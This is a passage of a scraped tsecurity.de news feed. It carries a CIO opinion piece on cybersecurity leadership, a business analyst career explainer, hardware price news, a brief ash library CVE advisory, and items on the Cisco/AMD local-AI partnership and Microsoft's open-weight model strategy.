<pubDate>Sat, 25 Jul 2026 06:16:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.</p>



<p class="wp-block-paragraph">Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organizations continue to suffer major cyber incidents with alarming regularity. Every week seems to bring news of another ransomware attack, supply chain compromise or data breach affecting organizations that many would have assumed were well protected.</p>



<p class="wp-block-paragraph">The obvious conclusion is that we are asking the wrong questions.</p>



<p class="wp-block-paragraph">Too many executive teams remain preoccupied with the latest threat actor, the newest security product the CISO wants to buy or the latest vulnerability making headlines. Those issues matter, but they are not what should be keeping CEOs awake at night.</p>



<p class="wp-block-paragraph">In my view, there are three far more fundamental issues that deserve the attention of every chief executive.</p>



<h2 class="wp-block-heading">1. Corporate complexity, and the widening gap between business leadership and cybersecurity reality</h2>



<p class="wp-block-paragraph">Perhaps the biggest cybersecurity risk facing large organizations today is not technical at all.</p>



<p class="wp-block-paragraph">It is the growing disconnect between executive perception and operational reality.</p>



<p class="wp-block-paragraph">Many boards genuinely believe their organizations are reasonably well protected. They receive regular dashboards showing improving maturity scores, increasing compliance levels, falling vulnerability counts and reassuring traffic-light reports.</p>



<p class="wp-block-paragraph">Unfortunately, cyber attackers do not read dashboards.</p>



<p class="wp-block-paragraph">Behind those executive reports often lies an increasingly complex technology landscape, thousands of unmanaged digital assets, ageing infrastructure, rampant shadow IT, fragmented ownership, inconsistent governance and security teams struggling to keep pace with relentless business change.</p>



<p class="wp-block-paragraph">The problem is rarely a lack of effort.</p>



<p class="wp-block-paragraph">It is that corporate complexity has reached a level where traditional governance mechanisms are no longer capable of providing an accurate picture of organizational resilience.</p>



<p class="wp-block-paragraph">Executives believe they understand the level of cyber risk they face because they receive regular reports. Those reports often measure activity rather than resilience.</p>



<p class="wp-block-paragraph">Governance committees end up debating around another percentage point of phishing awareness or vulnerability remediation, while fundamental issues remain unaddressed in the background.</p>



<h2 class="wp-block-heading">2. Organizational inertia, and the need for executive structure to evolve faster</h2>



<p class="wp-block-paragraph">Cyber criminals continue to evolve rapidly. Large organizations generally do not.</p>



<p class="wp-block-paragraph">This is the second issue that should concern every CEO.</p>



<p class="wp-block-paragraph">Throughout my career, I have observed organizations repeatedly responding to new cyber threats by adding another technology platform, another monitoring capability, another compliance framework or another governance committee.</p>



<p class="wp-block-paragraph">Very rarely do they stop to redesign how cybersecurity operates.</p>



<p class="wp-block-paragraph">The result is what I described several years ago as the “<a href="https://www.amazon.com/Cybersecurity-Spiral-Failure-How-Break/dp/1637353057/">Cybersecurity Spiral of Failure</a>”.</p>



<ul class="wp-block-list">
<li>As complexity and regulation increase, organizations invest in more security products.</li>



<li>More products create more complexity.</li>



<li>More products and greater complexity generate more alerts.</li>



<li>More alerts require more analysts.</li>



<li>More analysts produce more reports.</li>



<li>More reports continue to build up executive confidence.</li>



<li>Meanwhile, the underlying structural weaknesses remain largely unchanged, technical debt piles up and costs escalate.</li>
</ul>



<p class="wp-block-paragraph">And when the inevitable breach eventually happens, reality reveals itself, but distrust also sets in between senior executives and security teams.</p>



<p class="wp-block-paragraph">This is not a funding problem. Nor is it a skills problem. It is fundamentally an operating model problem.</p>



<p class="wp-block-paragraph">Many organizations continue trying to solve twenty-first century challenges using governance, accountability, organizational and reporting structures designed twenty-five years ago.</p>



<p class="wp-block-paragraph">The cybersecurity function itself has evolved dramatically. Many executive structures have not.</p>



<p class="wp-block-paragraph">This organizational inertia extends beyond technology: It affects budgeting cycles, <a href="https://www.cio.com/article/4193990/reallocating-cybersecurity-capital-in-the-mythos-era.html">investment priorities</a>, procurement processes, accountability models and decision-making speed.</p>



<p class="wp-block-paragraph">Cyber attackers innovate every day. Organizational change often takes years.</p>



<p class="wp-block-paragraph">That imbalance should worry every CEO.</p>



<h2 class="wp-block-heading">3. Accelerating technological disruption, and how it challenges organizations in areas where they are intrinsically weak</h2>



<p class="wp-block-paragraph">The third issue is potentially the most significant over the coming decade.</p>



<ul class="wp-block-list">
<li>Artificial intelligence, autonomous agents and machine identities</li>



<li>Software supply chain complexity.</li>



<li>Quantum computing, and post-quantum cryptography</li>
</ul>



<p class="wp-block-paragraph">Each of these developments represents far more than another technical trend.</p>



<p class="wp-block-paragraph">Together, they fundamentally change the dynamics of cybersecurity.</p>



<p class="wp-block-paragraph">Artificial intelligence is transforming countless business processes. At the same time, it is also increasing both the speed and sophistication of cyber-attacks while simultaneously transforming defensive capabilities.</p>



<p class="wp-block-paragraph">Organizations have become increasingly dependent on software ecosystems that extend far beyond their own direct control. Engaging with the supply chain in ways that lead to a genuine appreciation of the risks involved has become a key challenge for most cybersecurity practices.</p>



<p class="wp-block-paragraph">Quantum computing may eventually invalidate much of today’s cryptographic algorithms, forcing organizations into one of the largest technology efforts since Y2K — but without the benefit of a fixed deadline and faced by a problem that is considerably more complex and hyperconnected IT estates that have little to do with those of the late 90s.</p>



<p class="wp-block-paragraph">None of these challenges can be solved overnight: They require clear governance, sustained investment over a few years and cross-functional organizational coordination.</p>



<p class="wp-block-paragraph">Most large organizations are weak on those three fronts: This is precisely why CEOs should be focusing on them now.</p>



<p class="wp-block-paragraph">Waiting until some of those risks become obvious will almost certainly be too late.</p>



<p class="wp-block-paragraph">Businesses naturally prioritise immediate commercial pressures. Cybersecurity often involves preparing for risks whose timing remains uncertain.</p>



<p class="wp-block-paragraph">But one of the greatest leadership failures I keep seeing remains the inability of organizations to act decisively on known unknowns.</p>



<p class="wp-block-paragraph">That tension explains why many organizations delay action until external events force them to respond. Unfortunately, cybersecurity rarely rewards late action.</p>



<h2 class="wp-block-heading">Leadership will determine who succeeds</h2>



<p class="wp-block-paragraph">Cybersecurity discussions still frequently focus on technology. I believe they should focus far more on leadership.</p>



<p class="wp-block-paragraph">Technology will continue evolving. Threat actors will continue adapting. Regulations will continue expanding. Those developments are inevitable.</p>



<p class="wp-block-paragraph">What remains within the control of every CEO is how their organization responds.</p>



<p class="wp-block-paragraph">Does cybersecurity remain an IT issue? Or is it recognised as an integral part of business resilience?</p>



<p class="wp-block-paragraph">How is cybersecurity accountability assigned at executive level? Or does it still rest largely with a CISO hidden in the organization?</p>



<p class="wp-block-paragraph">Does the board spend sufficient time discussing resilience? Or does cybersecurity appear only when approving budgets or reviewing incidents?</p>



<p class="wp-block-paragraph">These questions will increasingly determine organizational success.</p>



<p class="wp-block-paragraph">The companies that navigate the next decade successfully will not necessarily be those spending the most on cybersecurity. Nor will they be those deploying the latest security technologies first.</p>



<p class="wp-block-paragraph">They will be the organizations whose leadership recognises that cybersecurity has become a permanent business capability — embedded into governance, strategy, operational decision-making and organizational culture.</p>



<p class="wp-block-paragraph">That transformation cannot be delegated. It begins with the CEO.</p>



<p class="wp-block-paragraph">And perhaps that is the single biggest issue that should keep every chief executive awake at night: Not when the next cyber-attack will happen, but whether their organization is evolving quickly enough on those matters to meet a threat landscape that is changing much faster than the business itself.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[What is a business analyst? A key role for business-IT efficiency]]></title>
<description><![CDATA[What is a business analyst?



Business analysts (BAs) are responsible for bridging the gap between IT and the business using data analytics to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.



BAs engage with business...]]></description>
<link>https://tsecurity.de/de/3693087/it-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693087/it-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/</guid>
<pubDate>Sat, 25 Jul 2026 06:16:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<h2 class="wp-block-heading">What is a business analyst?</h2>



<p class="wp-block-paragraph">Business analysts (BAs) are responsible for bridging the gap between IT and the business using <a href="https://www.cio.com/article/191313/what-is-data-analytics-analyzing-and-managing-data-for-decisions.html">data analytics</a> to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.</p>



<p class="wp-block-paragraph">BAs engage with business leaders and users to understand how data-driven changes to process, products, services, software, and hardware can improve efficiencies and add value. They must articulate those ideas but also balance them against what’s technologically feasible and financially and functionally reasonable. Depending on the role, a business analyst might work with data sets to improve products, hardware, tools, software, services, or process.</p>



<p class="wp-block-paragraph">The International Institute of Business Analysis (IIBA), a nonprofit professional association, considers the business analyst an agent of change, and says that <a href="https://www.cio.com/article/191157/what-is-business-analytics-using-data-to-predict-business-outcomes.html">business analysis</a> is a disciplined approach to introduce and manage change to organizations, whether they’re for-profit businesses, governments, or nonprofits.</p>



<h2 class="wp-block-heading">Impact of AI on business analyst role</h2>



<p class="wp-block-paragraph">As AI becomes commonplace in the tech industry, business analysts are embracing it as a tool to automate repetitive work in the role. AI tools can be used for workflow and diagramming, process mapping, data analysis, and to automate meeting minutes and transcribe meetings where requirements are established, all designed to speed up the process of analyzing data, creating visuals, and transcribing and writing user stories and acceptance criteria.</p>



<p class="wp-block-paragraph">AI tools can also help identify patterns, insights, and unique data points that might go unnoticed by humans, and allow a faster time to generate insights for organizations.</p>



<p class="wp-block-paragraph">Of course, as with all AI tools, they still require humans to oversee prompts, scripting, and evaluate AI outputs to ensure they’re accurate and valid. While they can’t replace the work of BAs, AI can help them spend more time on thoughtful analysis and decision making, rather than mundane tasks such as gathering and summarizing data, and querying.</p>



<h2 class="wp-block-heading">Business analyst job description</h2>



<p class="wp-block-paragraph">BAs are responsible for creating new models that support business decisions by working closely with finance and IT teams to establish initiatives and strategies aimed at improving revenue and optimizing costs. They need a strong understanding of regulatory and reporting requirements, and have plenty of experience in forecasting, budgeting, and financial analysis combined with knowing KPIs, according to Robert Half Technology.</p>



<p class="wp-block-paragraph">According to Robert Half, a BA’s job description typically includes budgeting and forecasting, planning and monitoring, variance analysis, pricing, reporting, and creating a detailed business analysis in an effort to outline problems, opportunities, and solutions for a business. It also says BAs should be able to define business requirements and report them back to stakeholders.</p>



<p class="wp-block-paragraph">Since BAs are tasked with prioritizing technical and functional requirements, identifying what clients want, and determining what’s feasible to deliver, the role requires a deep understanding of systems, how they function, who’ll need to be involved, and the necessary steps to get everyone on board.  </p>



<p class="wp-block-paragraph">The role is constantly evolving, especially as companies rely more on data to advise business operations. Every company has different issues that a business analyst can address, whether it’s dealing with outdated legacy systems, changing technologies, broken processes, poor client or customer satisfaction, or large, siloed organizations.</p>



<h2 class="wp-block-heading">Business analyst skills</h2>



<p class="wp-block-paragraph">The BA position requires both hard and soft skills, as they need to know how to pull, analyze, and report data trends, share that information with others, and apply it to business goals and needs.</p>



<p class="wp-block-paragraph">Not all BAs need a background in IT if they have a general understanding of how systems, products, and tools work. Alternatively, some have strong IT backgrounds and less experience in business, but are interested in shifting away from IT into this hybrid role, which often acts as a communicator between the business and IT sides of the organization. So having extensive experience in either area can be beneficial for BAs.</p>



<p class="wp-block-paragraph"><a href="https://www.iiba.org/career-resources/new-to-business-analysis/" target="_blank" rel="noreferrer noopener">According to the IIBA</a>, some of the most important skills and experience for a business analyst are:</p>



<ul class="wp-block-list">
<li>Oral and written communication skills</li>



<li>Interpersonal, organizational, facilitation, and consultative skills</li>



<li>Analytical thinking and problem solving</li>



<li>Being detail-oriented and able to deliver a high level of accuracy</li>



<li>Knowledge of business structure</li>



<li>Stakeholder and cost-benefit analysis</li>



<li>Processes modeling</li>



<li>Understanding networks, databases, and other technologies</li>
</ul>



<p class="wp-block-paragraph">For a more in-depth look at what it takes to succeed as a business analyst, click <a href="https://www.cio.com/article/189108/essential-traits-of-elite-business-analysts.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst salary</h2>



<p class="wp-block-paragraph">The average annual salary for an IT business analyst is $80,692, according to <a href="https://www.payscale.com/research/US/Job=Business_Analyst%2C_IT/Salary" target="_blank" rel="noreferrer noopener">data from PayScale</a>. The highest paid BAs are in New York, where the average salary is 14% higher than the national average. Dallas, Texas, is second, with reported salaries 6.4% higher than the national average, closely followed by Washington, D.C., where salaries are 6.3% higher than the national average.</p>



<p class="wp-block-paragraph">Some skills are in higher demand than others, with the potential to boost salary. According to Payscale, these are associated with higher BA salaries. These skills, and the amount they can boost your salary, include:</p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><tbody><tr><td>Skills</td><td>Salary Boost</td></tr><tr><td>ScrumMaster</td><td>44%</td></tr><tr><td>Microsoft Azure</td><td>30%</td></tr><tr><td>Supply Chain</td><td>27%</td></tr><tr><td>Oracle eBusiness Suite</td><td>25%</td></tr><tr><td>Master Data Management (SAP MDM)</td><td>24%</td></tr><tr><td>SAP Sales and Distribution (SAP SD)</td><td>24%</td></tr><tr><td>Product Support</td><td>18%</td></tr><tr><td>Microsoft Dynamics GP</td><td>18%</td></tr><tr><td>SAP Quality Management (SAP QM)</td><td>18%</td></tr><tr><td>Workday Software</td><td>15%</td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph">For tips on boosting your salary, click <a href="https://www.cio.com/article/189510/7-steps-business-analysts-can-take-to-earn-more.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst certifications</h2>



<p class="wp-block-paragraph">Although business analysis is a relatively new discipline in IT, a handful of organizations already offer certifications to help boost your résumé and prove your merit as an analyst. Organizations such as the IIBA, IQBBA, IREB, and PMI each offer their own tailored certifications for business analysis. These include:</p>



<ul class="wp-block-list">
<li>IIBA <a href="https://www.cio.com/article/189169/ecba-certification-an-entry-level-credential-for-business-analysts.html">Entry Certificate in Business Analysis (ECBA)</a></li>



<li>IIBA Certification of Competency in Business Analysis (CCBA)</li>



<li>IIBA Certified Business Analysis Professional (CBAP)</li>



<li>IIBA Agile Analysis Certification (AAC)</li>



<li>IQBBA Certified Foundation Level Business Analyst (CFLBA)</li>



<li>IREB Certified Professional for Requirements Engineering (CPRE)</li>



<li>PMI Professional in Business Analysis (PBA)</li>



<li>Certified Analytics Professional (CAP)</li>
</ul>



<p class="wp-block-paragraph">For more information about how to earn one of these certifications — and how much they cost — click <a href="https://www.cio.com/article/228834/6-business-analyst-certifications-to-advance-your-analytics-career.html">here</a>.</p>



<h2 class="wp-block-heading">Business analytics tools and software</h2>



<p class="wp-block-paragraph">BAs typically rely on software such as Microsoft’s Excel, PowerPoint, and Access, as well as SQL, Google Analytics, and Tableau. These tools help BAs collect and sort data, create graphs, write documents, and design visualizations to explain findings. You won’t necessarily need programming or database skills for a BA position, but if you already have these skills, they won’t hurt. The type of software and tools you’ll need to use, however, will depend on your job title and what the organization requires.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Roku Hikes Hardware Prices by Up to 60%]]></title>
<description><![CDATA[RAMageddon has claimed another company’s products, with costs for streaming devices the latest to blow out.]]></description>
<link>https://tsecurity.de/de/3692635/it-nachrichten/roku-hikes-hardware-prices-by-up-to-60/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692635/it-nachrichten/roku-hikes-hardware-prices-by-up-to-60/</guid>
<pubDate>Fri, 24 Jul 2026 23:48:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[RAMageddon has claimed another company’s products, with costs for streaming devices the latest to blow out.]]></content:encoded>
</item>
<item>
<title><![CDATA[Qualcomm is about to raise prices and that’s bad news for everyone]]></title>
<description><![CDATA[Qualcomm sent a letter to customers on Friday warning of plans to increase its prices by "a percentage in the double digits," Bloomberg reports. The price hikes will go into effect starting with products shipped after September 1st. Qualcomm claims it has "exhausted its ability to absorb higher c...]]></description>
<link>https://tsecurity.de/de/3692367/it-nachrichten/qualcomm-is-about-to-raise-prices-and-thats-bad-news-for-everyone/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692367/it-nachrichten/qualcomm-is-about-to-raise-prices-and-thats-bad-news-for-everyone/</guid>
<pubDate>Fri, 24 Jul 2026 21:18:37 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Qualcomm sent a letter to customers on Friday warning of plans to increase its prices by "a percentage in the double digits," Bloomberg reports. The price hikes will go into effect starting with products shipped after September 1st. Qualcomm claims it has "exhausted its ability to absorb higher costs from suppliers," as ongoing component shortages […]]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2025-48042 | ash up to 3.5.38 bulk.ex authorization (GHSA-jj4j-x5ww-cwh9 / EUVD-2025-27096)]]></title>
<description><![CDATA[A vulnerability, which was classified as problematic, has been found in ash up to 3.5.38. Affected by this vulnerability is an unknown functionality in the library lib/ash/actions/create/bulk.ex. Performing a manipulation results in incorrect authorization.

This vulnerability is reported as CVE-...]]></description>
<link>https://tsecurity.de/de/3692269/sicherheitsluecken/cve-2025-48042-ash-up-to-3538-bulkex-authorization-ghsa-jj4j-x5ww-cwh9-euvd-2025-27096/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692269/sicherheitsluecken/cve-2025-48042-ash-up-to-3538-bulkex-authorization-ghsa-jj4j-x5ww-cwh9-euvd-2025-27096/</guid>
<pubDate>Fri, 24 Jul 2026 20:19:36 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">problematic</a>, has been found in <a href="https://vuldb.com/product/ash">ash up to 3.5.38</a>. Affected by this vulnerability is an unknown functionality in the library <em>lib/ash/actions/create/bulk.ex</em>. Performing a manipulation results in incorrect authorization.

This vulnerability is reported as <a href="https://vuldb.com/cve/CVE-2025-48042">CVE-2025-48042</a>. The attack is possible to be carried out remotely. No exploit exists.

It is advisable to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[Bridging Innovation and Stability: The Risks of Vibe Coding]]></title>
<description><![CDATA[Vibe coding offers resource-limited organizations tools for rapid software development. But to build products that are sustainable and resilient, implementing a defined process is key to long-term success.]]></description>
<link>https://tsecurity.de/de/3692220/ai-nachrichten/bridging-innovation-and-stability-the-risks-of-vibe-coding/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692220/ai-nachrichten/bridging-innovation-and-stability-the-risks-of-vibe-coding/</guid>
<pubDate>Fri, 24 Jul 2026 19:51:41 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Vibe coding offers resource-limited organizations tools for rapid software development. But to build products that are sustainable and resilient, implementing a defined process is key to long-term success.]]></content:encoded>
</item>
<item>
<title><![CDATA[Cisco, AMD partner to bring enterprise-level security, visibility to Ryzen AI Halo systems]]></title>
<description><![CDATA[Cisco and AMD have expanded their partnership with a new package of hardware and security software that’s designed to help enterprise customers protect, deploy, and manage distributed AI resources.



During AMD’s Advancing AI event this week, Cisco’s president and chief product officer Jeetu Pat...]]></description>
<link>https://tsecurity.de/de/3692178/it-security-nachrichten/cisco-amd-partner-to-bring-enterprise-level-security-visibility-to-ryzen-ai-halo-systems/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692178/it-security-nachrichten/cisco-amd-partner-to-bring-enterprise-level-security-visibility-to-ryzen-ai-halo-systems/</guid>
<pubDate>Fri, 24 Jul 2026 19:18:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Cisco and AMD have expanded their partnership with a new package of hardware and security software that’s designed to help enterprise customers protect, deploy, and manage distributed AI resources.</p>



<p class="wp-block-paragraph">During AMD’s <a href="https://www.amd.com/en/corporate/events/advancing-ai.html">Advancing AI event</a> this week, Cisco’s president and chief product officer <a href="https://www.networkworld.com/article/4184554/how-jeetu-patel-made-cisco-unrecognizable.html">Jeetu Patel</a> took to the stage during AMD CEO <a href="https://www.amd.com/en/corporate/events/advancing-ai.html">Lisa Su’s keynote</a> to talk about how AI inference will be widely distributed and will require an architectural stack of software and tools that Cisco and <a href="https://www.networkworld.com/article/4199402/helios-marks-amds-biggest-ai-infrastructure-push-yet.html">AMD</a> are partnering to develop.</p>



<p class="wp-block-paragraph">The joint architecture combines AMD’s compact, high-performance Ryzen AI Halo hardware and a variety of Cisco networking, observability, governance, and security technologies. “AMD provides the deskside/local AI platform. At the foundation is AMD Ryzen AI Halo hardware, an isolated agent sandbox and the services needed for local-first inferencing, including model routing and token limits via AMD’s Semantic Router and local inference on Lemonade,” wrote Cisco’s <a href="https://www.linkedin.com/in/yash-sheth-/">Yash Sheth</a>, senior director, engineering and research, in a <a href="https://blogs.cisco.com/ai/from-one-desk-to-the-whole-enterprise-making-local-ai-resilient">blog post</a> about the new package.</p>



<p class="wp-block-paragraph"><a href="https://www.amd.com/en/products/processors/desktops/ryzen/ryzen-ai-halo.html?gad_source=1&amp;gad_campaignid=24009436319&amp;gbraid=0AAAAApk3AUDJs1_xMEd2YjxcG8iJu-gS4&amp;gclid=Cj0KCQjw94bTBhDQARIsAN3vv0xmM9xu9mXa5H5zAbKFqNzUy1FPP5AS-lOA1qXh1a9bmw54LMQtYXgaArV-EALw_wcB">Ryzen AI Halo</a> (pictured below) is designed to support local AI inference on an AI PC using its CPU, GPU, and XDNA neural processing unit (NPU), according to AMD. A resilient AI platform should continue delivering useful AI services even when connectivity is limited, models need to change, or workloads shift, AMD stated.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;</figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">Cisco then wraps that platform in a secure harness that includes its Splunk Agent Observability plus Splunk Infrastructure Monitoring to provide full-stack observability, tracking agent behavior, tokenomics and compute operation, according to Sheth.</p>



<p class="wp-block-paragraph">Cisco also brings its <a href="https://www.networkworld.com/article/4148823/cisco-goes-all-in-on-agentic-ai-security.html">AI Defense</a> for model and agent security; <a href="https://www.networkworld.com/article/4179673/cisco-brings-agentic-ops-platform-and-security-overhaul-to-cisco-live.html">DefenseClaw</a> for security policy enforcement, so guardrails are enforced directly on-device, within the agent harness; and <a href="https://www.networkworld.com/article/4180810/what-is-cisco-cloud-control-and-why-should-customers-care.html">Cisco Cloud Control</a> offering a single pane of glass for unified policy and control, Sheth stated.</p>



<p class="wp-block-paragraph">“To make deskside and local AI computing work at enterprise scale, every AI node must be treated as a secure, managed node in the enterprise network,” Sheth wrote.</p>



<p class="wp-block-paragraph">“The need for token efficiency and data sovereignty is driving a new class of computing, deskside computing, with users and teams putting AI agents right by their sides,” Sheth wrote. “Inference is moving to a hybrid architecture with thousands of ambient deskside agents in an enterprise helping employees have 24×7 productivity. That’s an extraordinary opportunity. It’s also a brand-new operating challenge.”</p>



<p class="wp-block-paragraph">As agentic AI moves from experimentation to real enterprise workflows, organizations need more than powerful endpoints. AI agents can run continuously and act on enterprise data, but create new requirements for network infrastructure, tokenomics, agent behavior, and security, according to a <a href="https://newsroom.amd.com/news/aai-2026-cisco-client-partnership-update/">statement</a> from AMD.</p>



<p class="wp-block-paragraph">“Running more AI locally can help improve responsiveness, keep sensitive data closer to users, and reduce dependence on cloud-only approaches, but enterprises also need a way to monitor and manage these systems at scale. AMD and Cisco are addressing that gap by collaborating to pair high-performance local AI compute with the observability, governance, and control infrastructure needed for enterprises to deploy it responsibly,” AMD stated.</p>



<p class="wp-block-paragraph">“By combining AMD Ryzen AI Halo systems and our broader local AI software capabilities with Cisco’s enterprise networking, observability and security technologies, we are helping customers deploy AI in a way that is performant, secure, observable and manageable at scale,” said Jack Huynh, senior vice president and general manager, computing and graphics group with AMD, in a statement.</p>



<p class="wp-block-paragraph">A few other interesting statistics and trends cited in AMD CEO Su’s keynote include:</p>



<ul class="wp-block-list">
<li>AI adoption is accelerating across all industries, with agentic AI driving a surge in compute demand and shifting workloads from training to inference, which accounts for 60% of global AI compute capacity in 2026.</li>



<li>AI is moving beyond the cloud, with edge and personal devices becoming critical for real-time, distributed intelligence.</li>



<li>The AI accelerator market is projected to reach $1.4 trillion by 2030, nearly tripling previous forecasts, with GPUs expected to dominate but CPUs gaining new growth vectors due to agentic AI.</li>



<li>Server CPU market is forecasted to grow over 50% to $200 billion by 2030, fueled by rapid agentic AI adoption and the need for massive CPU infrastructure.</li>
</ul>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft's open-weight AI push is so obviously an Azure play it hurts]]></title>
<description><![CDATA[Microsoft, along with Meta, Nvidia, and more than 20 other companies, is pushing for open-weight AI models in an open letter. The strategic logic is simple: the more models running on Azure, the less Microsoft depends on expensive OpenAI and Anthropic models. The company is also swapping external...]]></description>
<link>https://tsecurity.de/de/3691992/ai-nachrichten/microsofts-open-weight-ai-push-is-so-obviously-an-azure-play-it-hurts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691992/ai-nachrichten/microsofts-open-weight-ai-push-is-so-obviously-an-azure-play-it-hurts/</guid>
<pubDate>Fri, 24 Jul 2026 18:09:44 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="2048" height="1152" src="https://the-decoder.com/wp-content/uploads/2026/07/microsoft_glitch_robot.png" class="attachment-full size-full wp-post-image" alt="" decoding="async" fetchpriority="high"></p>
<p>        Microsoft, along with Meta, Nvidia, and more than 20 other companies, is pushing for open-weight AI models in an open letter. The strategic logic is simple: the more models running on Azure, the less Microsoft depends on expensive OpenAI and Anthropic models. The company is also swapping external models in products like Copilot for its in-house MAI family, which performs significantly worse in independent benchmarks.</p>
<p>The article <a href="https://the-decoder.com/microsofts-open-weight-ai-push-is-so-obviously-an-azure-play-it-hurts/">Microsoft's open-weight AI push is so obviously an Azure play it hurts</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The most vulnerable AI products are also some of the most commonly exposed online]]></title>
<description><![CDATA[It is becoming increasingly easy for hackers to target vulnerable AI tools on companies’ networks, even as those companies come to depend on them for more tasks. This article has been indexed from Cybersecurity Dive – Latest News Read the…
Read more →
The post The most vulnerable AI products are ...]]></description>
<link>https://tsecurity.de/de/3691871/it-security-nachrichten/the-most-vulnerable-ai-products-are-also-some-of-the-most-commonly-exposed-online/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691871/it-security-nachrichten/the-most-vulnerable-ai-products-are-also-some-of-the-most-commonly-exposed-online/</guid>
<pubDate>Fri, 24 Jul 2026 17:07:18 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>It is becoming increasingly easy for hackers to target vulnerable AI tools on companies’ networks, even as those companies come to depend on them for more tasks. This article has been indexed from Cybersecurity Dive – Latest News Read the…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/the-most-vulnerable-ai-products-are-also-some-of-the-most-commonly-exposed-online/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/the-most-vulnerable-ai-products-are-also-some-of-the-most-commonly-exposed-online/">The most vulnerable AI products are also some of the most commonly exposed online</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The most vulnerable AI products are also some of the most commonly exposed online]]></title>
<description><![CDATA[It is becoming increasingly easy for hackers to target vulnerable AI tools on companies’ networks, even as those companies come to depend on them for more tasks.]]></description>
<link>https://tsecurity.de/de/3691841/it-security-nachrichten/the-most-vulnerable-ai-products-are-also-some-of-the-most-commonly-exposed-online/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691841/it-security-nachrichten/the-most-vulnerable-ai-products-are-also-some-of-the-most-commonly-exposed-online/</guid>
<pubDate>Fri, 24 Jul 2026 16:53:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><div><img src="https://imgproxy.divecdn.com/3AMHXqqFt_CCtFWVmFuihh3Rr1bYf-lATSwgP4fGYuw/g:ce/rs:fill:1600:900:1/Z3M6Ly9kaXZlc2l0ZS1zdG9yYWdlL2RpdmVpbWFnZS9HZXR0eUltYWdlcy0xMTQ0NTQ5NTExLmpwZw==.webp"></div></figure><p>It is becoming increasingly easy for hackers to target vulnerable AI tools on companies’ networks, even as those companies come to depend on them for more tasks.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[EU-Kommission: TikTok soll Teenager-Konten strenger abschirmen]]></title>
